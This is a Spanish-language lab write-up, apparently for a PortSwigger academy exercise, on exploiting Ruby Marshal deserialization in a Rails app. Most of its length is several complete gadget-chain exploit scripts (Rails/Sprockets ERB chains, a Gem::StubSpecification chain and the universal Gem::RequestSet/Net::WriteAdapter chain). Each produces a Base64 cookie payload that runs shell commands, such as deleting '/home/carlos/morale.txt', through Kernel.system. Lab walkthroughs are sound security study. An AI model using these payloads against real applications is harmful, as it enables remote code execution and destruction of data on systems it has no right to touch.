๐Laboratorio: Exploiting Ruby deserialization using a documented gadget chain

Se pone interesante este lab, primero que todo, sabemos que el lab contendrรก un framework de ruby on rails, mi tarea serรก investigar y encontrar el Gadget Chain que pueda ejecutar cรณdigo remoto y nos sirva para eliminar el archivo
morale.txt
que estรก en el directorio/home/carlos/morale.txt
La pistaโฆ :)

Lo segundo importante serรก buscar cual es la versiรณn del framework de ruby en el laboratorio.
No la encontrรฉ, sin embargo creo que el ataque no va por una versiรณn especifica de ruby sino mรกs bien por el gadget chain RCE, encontrรฉ un repo documentado, se ve interesante:
Quick Recap
Marshal.dump means serialize
Marshal.load means unserialize
When an object of a class is serialized,
marshal_dump
method (if defined in class) is called.When an object of a class is unserialized,
marshal_load
method (if defined in class) is called.When a undefined method is called on an object,
method_missing
method (if defined in class) is called.
Importante saber esos datos, para el exploit que encontrรฉ:
De ese repo este fue el cรณdigo que pude encontrar para el RCE:
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `touch /tmp/pwned.txt` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))
Ahora bien aqui vemos que crea un archivo en tmp que se llama pwned.txt realmente vamos por mรกs, en este caso debemos eliminar el archivo morale.txt del directorio home de carlos.
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `rm /home/carlos/morale.txt` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))
Instalemos Ruby en mi macOS M1, con brew y luego instalamos las gemas que implementa este codigo, gemas parece que son como paquetes a importar en python.
brew install ruby
echo 'export PATH="/usr/local/opt/ruby/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
ruby -v ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin23]
#Lo cual es una version muy antigua de mi mac y no me estaba dejando instalar rails/all
#que es un paquete principal del codigo rce_ruby.rb, ENTONCES:
#1. brew install rbenv
#2. rbenv init
# echo 'eval "$(rbenv init - zsh)"' >> ~/.zshrc
# source ~/.zshrc
#3. rbenv install 3.2.2
# rbenv global 3.2.2
# source ~/.zshrc
# ruby -v Ahora si la versiรณn 3.2.2
# gem install rails sprockets
# ruby rce_ruby.rb

Ahora si:


Actualicรฉ las cookies y me arrojรณ esto:

Encontrรฉ otra pagina que estรก la veo como mรกs real que sea la apropiada ya que es de portswigger, del aรฑo 2018:
Portswigger: https://portswigger.net/daily-swig/ruby-taken-off-the-rails-by-deserialization-exploit
El Blog en cuestiรณn: https://www.elttam.com/blog/ruby-deserialization/
Y tienen un codigo que se habla en el blog: (Lo modifiquรฉ para la ejecuciรณn del sistema para eliminar el morale.txt
)
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
# Creamos el StubSpecification con un valor falso para @loaded_from
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|ruby -e 'system(\"rm /home/carlos/morale.txt\")'")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Y me tiro un error en especifico:

La versiรณn parece ser: Ruby 2.7.0
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
# Modificamos el valor de `@loaded_from` para ejecutar un comando directamente con `system`
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "system('rm /home/carlos/morale.txt')")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Encontrรฉ otro site que me menciona otro code para la ejecuciรณn de RCE โ
Cรณdigo Original pero modificado para el Laboratorio borrando el archivo morale.txt
:
require 'rails/all'
require 'base64'
# following three lines added for older versions of Ruby on Rails:
require 'rack/response'
require 'active_record/associations'
require 'active_record/associations/association'
require "yaml"
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
require 'bundler/inline'
gemfile do
source 'https://rubygems.org'
gem 'oj', require: true
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0 = Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context, Sprockets::Context.allocate)
d1 = Gem::Security::Policy.allocate
# Modificamos la variable `@data` para inyectar el comando de eliminaciรณn del archivo
d1.instance_variable_set(:@name, { :filename => "/tmp/xyz.txt", :environment => d0, :data => "<%= os_command = 'rm /home/carlos/morale.txt'; system(os_command); %>", :metadata => {}})
d2 = Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c = Logger.allocate
c.instance_variable_set(:@logdev, d)
e = Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read, 2)
e.instance_variable_set(:@header, "bbbb")
b = Net::BufferedIO.allocate
b.instance_variable_set(:@io, e)
b.instance_variable_set(:@debug_output, c)
$a = Gem::Package::TarReader.allocate
$a.instance_variable_set(:@init_pos, Gem::SpecFetcher.allocate)
$a.instance_variable_set(:@io, b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate, $a]
end
end
end
end
# Generaciรณn del payload en formato binario
final = ActiveRecord::Associations::Association.allocate
puts Base64.strict_encode64(Marshal.dump(final))
Efectivamente tampoco me funcionรณ, asรญ que con ello presente, tomarรฉ esta รบltima pagina que toma las versiones de Ruby 2.x - 3.x:
Que habla sobre la deserialization RCE Universal en todas las versiones de Ruby de 2.x-3.x donde menciona que la forma de invocar varios mรฉtodos magicos para crear el gadget chain y lograr la ejecuciรณn remota de cรณdigo es asรญ:
[**ActiveModel::AttributeMethods::ClassMethods::CodeGenerator**](<https://github.com/rails/rails/blob/v6.1.0.rc1/activemodel/lib/active_model/attribute_methods.rb#L369>) to achieve code execution.
Despuรฉs de echarle una ojeada al blog de eje man, el codigo resultante para poder ejecutar el RCE es haciendo la llamada el KernelSystem(Commands
) module propio de Ruby:

Vamos a recrearlo tirandolo en mi vs code a ver:

Asรญ tal cual es como lo dejamos.
Lo ejecutamos en mycompiler.io

Actualizamos la cookie de wiener:peter
en base64:

require 'net/http' # Cargar la librerรญa de red estรกndar
require 'base64'
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
# Convert the payload to Base64
encoded_payload = Base64.encode64(payload)
puts "Payload en Base64 mi Papacho:"
puts encoded_payload

Last updated